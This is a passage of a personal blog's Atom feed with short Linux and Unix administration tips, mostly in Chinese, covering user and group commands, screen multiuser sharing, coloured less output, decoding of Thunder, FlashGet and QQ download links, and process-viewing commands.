href='http://www.blogger.com/feeds/11894000/posts/default/8956865067045363814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8956865067045363814'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/09/magic-system-request.html' title='Magic System Request'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-5320638483966091827</id><published>2009-09-11T22:04:00.000+08:00</published><updated>2010-09-30T10:40:27.645+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>user &amp; group command</title><content type='html'>&lt;div&gt;newgrp: change primary group ID to exec command&lt;/div&gt;&lt;br/&gt;&lt;div&gt;sg group -c command: change group ID to exec command&lt;/div&gt;&lt;br/&gt;&lt;div&gt;vigr: edit /etc/group&lt;/div&gt;&lt;br/&gt;&lt;div&gt;vipw: edit /etc/passwd&lt;/div&gt;&lt;br/&gt;&lt;div&gt;groups: show groups of user&lt;/div&gt;&lt;br/&gt;&lt;div&gt;pwck: verify passwd file&lt;/div&gt;&lt;br/&gt;&lt;div&gt;grpck: verify group file&lt;/div&gt;&lt;br/&gt;&lt;div&gt;setfacl: set file acl&lt;/div&gt;&lt;br/&gt;&lt;div&gt;getfacl: get file acl&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-5320638483966091827?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/5320638483966091827/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=5320638483966091827' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5320638483966091827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5320638483966091827'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/09/user-group-command.html' title='user &amp;amp; group command'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1772563138304100219</id><published>2009-09-04T22:38:00.000+08:00</published><updated>2010-09-30T10:40:27.630+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>screen的高级用法：multiuser</title><content type='html'>&lt;div&gt;要使用multiuser模式，首先必须&lt;/div&gt;&lt;br/&gt;&lt;div&gt;# chmod u+s /usr/bin/screen&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;user1:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;screen -S window1&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Ctrl+a &lt;/div&gt;&lt;br/&gt;&lt;div&gt;:multiuser on&lt;/div&gt;&lt;br/&gt;&lt;div&gt;:acladd user2&lt;/div&gt;&lt;br/&gt;&lt;div&gt;:aclchg user -w &amp;quot;#&amp;quot;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Ctrl+a Ctrl+d&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;user2:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;screen -r user1/window1&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;这样user1在屏幕上操作的步骤，user2就能看到了，而且user2去掉了&amp;quot;写&amp;quot;权限，他只能看user1操作，退出使用Ctrl+a Ctrl+d键。&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1772563138304100219?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1772563138304100219/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1772563138304100219' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1772563138304100219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1772563138304100219'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/09/screenmultiuser.html' title='screen的高级用法：multiuser'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3206431893537657012</id><published>2009-09-03T01:17:00.000+08:00</published><updated>2010-09-30T10:40:27.617+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>useful unix command</title><content type='html'>&lt;div&gt;1. apropos         ;;lookup command&lt;/div&gt;&lt;br/&gt;&lt;div&gt;2. pgrep            ;;find process&lt;/div&gt;&lt;br/&gt;&lt;div&gt;3. pwgen           ;;generate secure password&lt;/div&gt;&lt;br/&gt;&lt;div&gt;4. multitail         ;;view multi files&lt;/div&gt;&lt;br/&gt;&lt;div&gt;5. zcat,zgrep,zless,zdiff     ;;operator compressed file directly, without uncompress them&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3206431893537657012?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3206431893537657012/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3206431893537657012' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3206431893537657012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3206431893537657012'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/09/useful-unix-command.html' title='useful unix command'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6886591294198178835</id><published>2009-03-03T00:56:00.000+08:00</published><updated>2010-09-30T10:40:27.603+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>彩色的man pages</title><content type='html'>&lt;div&gt;export PAGER=&amp;quot;/usr/bin/less -s&amp;quot;&lt;br /&gt;export BROWSER=&amp;quot;$PAGER&amp;quot;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;export LESS_TERMCAP_mb=$'\E[01;34m'&lt;br /&gt;export LESS_TERMCAP_md=$'\E[01;34m'&lt;br /&gt;export LESS_TERMCAP_me=$'\E[0m'&lt;br /&gt;export LESS_TERMCAP_se=$'\E[0m'&lt;br /&gt;export LESS_TERMCAP_so=$'\E[01;44;33m'&lt;br /&gt;export LESS_TERMCAP_ue=$'\E[0m'&lt;br /&gt;export LESS_TERMCAP_us=$'\E[01;33m'&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6886591294198178835?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6886591294198178835/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6886591294198178835' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6886591294198178835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6886591294198178835'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/03/man-pages.html' title='彩色的man pages'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1554514786830411326</id><published>2008-11-28T21:30:00.000+08:00</published><updated>2010-09-30T10:40:27.593+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>免费注册Unix帐号</title><content type='html'>&lt;p&gt;http://www.prunk.si/mediawiki/index.php/Free_List&lt;br /&gt;&lt;p&gt;&lt;p&gt;http://bbs.chinaunix.net/viewthread.php?tid=1126814&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1554514786830411326?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1554514786830411326/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1554514786830411326' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1554514786830411326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1554514786830411326'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/11/unix.html' title='免费注册Unix帐号'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6703217563024100933</id><published>2008-11-20T17:35:00.000+08:00</published><updated>2010-09-30T10:40:27.581+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>获取系统信息</title><content type='html'>&lt;div&gt;getconf命令加参数可以获取系统某些信息&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6703217563024100933?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6703217563024100933/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6703217563024100933' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6703217563024100933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6703217563024100933'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/11/blog-post.html' title='获取系统信息'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3262023265160494950</id><published>2008-10-10T01:15:00.000+08:00</published><updated>2010-09-30T10:40:27.519+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>看图认识RAID</title><content type='html'>&lt;div&gt;&lt;a href="http://byfiles.storage.live.com/y1pqpcZk27una0ZPnRdbNzfCm5qSKQAyWghT_o-5dAg3JmE_IOTNv3FSk0uW2ibHPtmeuYPOlCnSjg" target="_blank"&gt;&lt;img height="200" alt="061009114820" src="http://byfiles.storage.live.com/y1pqpcZk27una0ZPnRdbNzfCm5qSKQAyWghT_o-5dAg3JmE_IOTNv3FSk0uW2ibHPtmeuYPOlCnSjg" width="240"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="msnphotos"&gt;&lt;a href="http://storage.live.com/items/8AC759DD08B8D806!218" title="061009114820.jpg"&gt;&lt;img src="http://storage.live.com/items/8AC759DD08B8D806!218:Thumbnail" alt="061009114820.jpg" style="border:0;padding:3px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3262023265160494950?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3262023265160494950/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3262023265160494950' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3262023265160494950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3262023265160494950'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/10/raid.html' title='看图认识RAID'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-4503422663549011407</id><published>2008-06-05T18:30:00.000+08:00</published><updated>2010-09-30T10:40:27.506+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>most：带颜色的less</title><content type='html'>&lt;div&gt;&lt;a href="http://www.jedsoft.org/most/"&gt;http://www.jedsoft.org/most/&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-4503422663549011407?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/4503422663549011407/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=4503422663549011407' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/4503422663549011407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/4503422663549011407'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/06/mostless.html' title='most：带颜色的less'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8981435939281728555</id><published>2008-05-29T17:52:00.000+08:00</published><updated>2010-09-30T10:40:27.491+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>迅雷、快车、QQ下载地址分析</title><content type='html'>&lt;div&gt;迅雷：&lt;br /&gt;加密：&amp;quot;thunder://&amp;quot;.base64_encode(&amp;quot;AA&amp;quot;.$txt1.&amp;quot;ZZ&amp;quot;);&lt;br /&gt;解密：substr(base64_decode(str_ireplace(&amp;quot;thunder://&amp;quot;,&amp;quot;&amp;quot;,$txt1)),2,-2);&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;flashget：&lt;br /&gt;加密：&amp;quot;flashget://&amp;quot;.base64_encode($txt2);&lt;br /&gt;解密：str_ireplace(&amp;quot;[FLASHGET]&amp;quot;,&amp;quot;&amp;quot;,base64_decode(str_ireplace(&amp;quot;flashget://&amp;quot;,&amp;quot;&amp;quot;,$txt2)));&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;QQ：&lt;br /&gt;加密：&amp;quot;qqdl://&amp;quot;.base64_encode($txt3);&lt;br /&gt;解密：base64_decode(str_ireplace(&amp;quot;qqdl://&amp;quot;,&amp;quot;&amp;quot;,$txt3));&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8981435939281728555?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8981435939281728555/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8981435939281728555' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8981435939281728555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8981435939281728555'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/05/qq.html' title='迅雷、快车、QQ下载地址分析'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8421970248199947930</id><published>2008-05-24T00:58:00.000+08:00</published><updated>2010-09-30T10:40:27.474+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>file system limits</title><content type='html'>&lt;a href="http://byfiles.storage.live.com/y1p7m6CdSPxY-rWd-jaHXBsz4mWD5ftJVl_oDKKQNKe8uY_lI4yvig55xS7ySOCSwS3vax528TLlmg" target="_blank"&gt;&lt;img height="200" alt="filesystem_for_linux" src="http://byfiles.storage.live.com/y1p7m6CdSPxY-rWd-jaHXBsz4mWD5ftJVl_oDKKQNKe8uY_lI4yvig55xS7ySOCSwS3vax528TLlmg" width="262"&gt;&lt;/a&gt;&lt;br/&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="msnphotos"&gt;&lt;a href="http://storage.live.com/items/8AC759DD08B8D806!209" title="filesystem_for_linux.JPG"&gt;&lt;img src="http://storage.live.com/items/8AC759DD08B8D806!209:Thumbnail" alt="filesystem_for_linux.JPG" style="border:0;padding:3px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8421970248199947930?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8421970248199947930/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8421970248199947930' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8421970248199947930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8421970248199947930'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/05/file-system-limits.html' title='file system limits'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3341782616559469565</id><published>2008-05-24T00:54:00.000+08:00</published><updated>2010-09-30T10:40:27.456+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>查看进程时间</title><content type='html'>&lt;div&gt;ps axfo time,stime,start_time,start,pid,comm&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3341782616559469565?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3341782616559469565/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3341782616559469565' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3341782616559469565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3341782616559469565'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/05/blog-post.html' title='查看进程时间'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8326222566123671715</id><published>2008-05-24T00:53:00.000+08:00</published><updated>2010-09-30T10:40:27.439+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>pstree</title><content type='html'>&lt;div&gt;pstree -G： use VT100 line drawing characters&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8326222566123671715?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8326222566123671715/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8326222566123671715' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8326222566123671715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8326222566123671715'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/05/pstree.html' title='pstree'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-838862710903454394</id><published>2008-05-22T00:43:00.000+08:00</published><updated>2010-09-30T10:40:27.423+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>gzexe</title><content type='html'>&lt;div&gt;gzexe can be used to create self-uncompressing executable file&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-838862710903454394?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/838862710903454394/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=838862710903454394' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/838862710903454394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/838862710903454394'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/05/gzexe.html' title='gzexe'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-317382869978468129</id><published>2008-04-25T19:11:00.000+08:00</published><updated>2010-09-30T10:40:27.409+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>ipv6的使用</title><content type='html'>&lt;div&gt;&lt;a href="http://www.ipv6day.org/action.php?n=En.IPv6day"&gt;http://www.ipv6day.org/action.php?n=En.IPv6day&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;使用ipv6访问维基百科：&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;a href="http://zh.wikipedia.org.sixxs.org/"&gt;http://zh.wikipedia.org.sixxs.org/&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-317382869978468129?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/317382869978468129/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=317382869978468129' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/317382869978468129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/317382869978468129'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/04/ipv6.html' title='ipv6的使用'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3090596099420769653</id><published>2008-04-21T21:22:00.000+08:00</published><updated>2010-09-30T10:40:27.392+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>查找Quick Reference</title><content type='html'>&lt;div&gt;在google中进行如下搜索：（以python为例）&lt;/div&gt;&lt;br/&gt;&lt;div&gt;python quick reference filetype:pdf&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3090596099420769653?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3090596099420769653/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3090596099420769653' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3090596099420769653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3090596099420769653'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/04/quick-reference.html' title='查找Quick Reference'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-2962497073041641583</id><published>2008-04-18T22:11:00.000+08:00</published><updated>2010-09-30T10:40:27.382+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>带颜色的less命令</title><content type='html'>&lt;div&gt;默认的less不带颜色输出。找到一个可以带颜色输出的less：&lt;/div&gt;&lt;br/&gt;&lt;div&gt;/usr/share/vim/vim64/macros/less.sh&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;注意：vimrc里面的syntax on必须去掉注释&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-2962497073041641583?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/2962497073041641583/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=2962497073041641583' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2962497073041641583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2962497073041641583'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2008/04/less.html' title='带颜色的less命令'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1223176561675502569</id><published>2008-04-12T02:09:00.000+08:00</published><updated>2010-09-30T10:40:27.370+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Linux启动多个X</title><content type='html'>&lt;div&gt;startx默认以display :0.0启第一个X，通过传递参数给Xserver可以启多个X：&lt;/div&gt;&lt;br/&gt;&lt;div&gt;# startx -- :1.0&lt;/div&gt;&lt;br/&gt;&lt;div&gt;# startx -- :2.0&lt;/div&gt;&lt;br/&gt;&lt;div&gt;...&lt;/div&gt;&lt;br/&gt;&lt;div&gt;然后用Ctrl-Alt-F7/F8...切换&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1223176561675502569?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 